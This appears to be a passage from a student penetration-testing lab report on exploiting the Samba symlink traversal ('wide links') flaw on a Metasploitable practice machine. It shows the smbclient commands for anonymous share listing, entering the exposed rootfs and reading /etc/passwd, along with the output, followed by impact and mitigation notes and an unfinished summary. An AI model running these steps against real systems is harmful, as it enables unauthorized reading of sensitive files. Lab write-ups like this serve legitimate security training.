msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash  
bind:x:105:113::/var/cache/bind:/bin/false  
postfix:x:106:115::/var/spool/postfix:/bin/false  
ftp:x:107:65534::/home/ftp:/bin/false  
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash  
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false  
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false  
distccd:x:111:65534::/bin/false  
user:x:1001:1001:just a user,111,,,:/home/user:/bin/bash  
service:x:1002:1002::,/home/service:/bin/bash  
telnetd:x:112:120::/nonexistent:/bin/false  
proftpd:x:113:65534::/var/run/proftpd:/bin/false  
statd:x:114:65534::/var/lib/nfs:/bin/false
```

```
~  
~  
~  
~  
~  
~  
~  
~  
~  
~  
~
```

```
(END)
```

- **Anonymous login successful**
- **Presence of `rootfs` directory**
- **Contents of `/etc/passwd` displayed**

Important Clarification (Good for Marks)

You can include this line:

Although LHOST was configured during testing, it is not required for this exploit, as the module does not establish a reverse shell and instead performs filesystem manipulation via SMB.



Post-Exploitation Samba Symlink Traversal (Wide Links Misconfiguration)

Exploit Used:

Samba symlink traversal (`samba_symlink_traversal`)

Access Gained:

- Unauthenticated access to the system's root filesystem via SMB share (`tmp`)
-

Privilege Level:

- Indirect access to root-owned files (no shell obtained)
-

Actions & Evidence:

List available shares

`smbclient -L //192.168.23.129 -N`

```
(hakim@faizal)-[~]
$ smbclient -L //192.168.23.129 -N
Anonymous login successful

  Sharename      Type      Comment
  -----
  print$         Disk      Printer Drivers
  tmp            Disk      oh noes!
  opt           Disk
  IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
  ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

  Server      Comment
  -----
  Workgroup    Master
  -----
  WORKGROUP    METASPLOITABLE
```

Connect to writable share

`smbclient //192.168.23.129/tmp -N`

```
(hakim@faizal)-[~]
$ smbclient -L //192.168.23.129/tmp -N
Anonymous login successful

      Sharename      Type      Comment
      -----
      print$         Disk      Printer Drivers
      tmp            Disk      oh noes!
      opt            Disk
      IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
      ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

      Server          Comment
      -----
      Workgroup       Master
      WORKGROUP       METASPLOITABLE
```

Navigate to exposed root filesystem

```
(hakim@faizal)-[~]
$ smbclient //192.168.23.129/tmp -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> █
```

Read sensitive system file

more passwd

```
(hakim@faizal)-[~]
$ smbclient //192.168.23.129/tmp -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd █
```

O

- “Wide links” configuration allows traversal outside intended directory
 - Entire root filesystem (/) is accessible via `rootfs`
 - Sensitive files such as `/etc/passwd` can be read remotely
-

Impact:

- Unauthorized disclosure of sensitive system information
 - Attacker can:
 - Enumerate system users and services
 - Access configuration files
 - Gather intelligence for further attacks (e.g., password cracking, privilege escalation)
 - Can be chained with other vulnerabilities to achieve full system compromise
-

Mitigation:

- Disable anonymous SMB access
- Disable “wide links” in Samba configuration
- Restrict SMB shares with authentication controls
- Limit access permissions on shared directories
- Regularly audit SMB configurations and exposed services



7. Findings Summary

Vulnerability	Port	Severity	Access
---------------	------	----------	--------



8. Conclusion

Brief summary of:

- Overall security posture
- Key risks
- General recommendation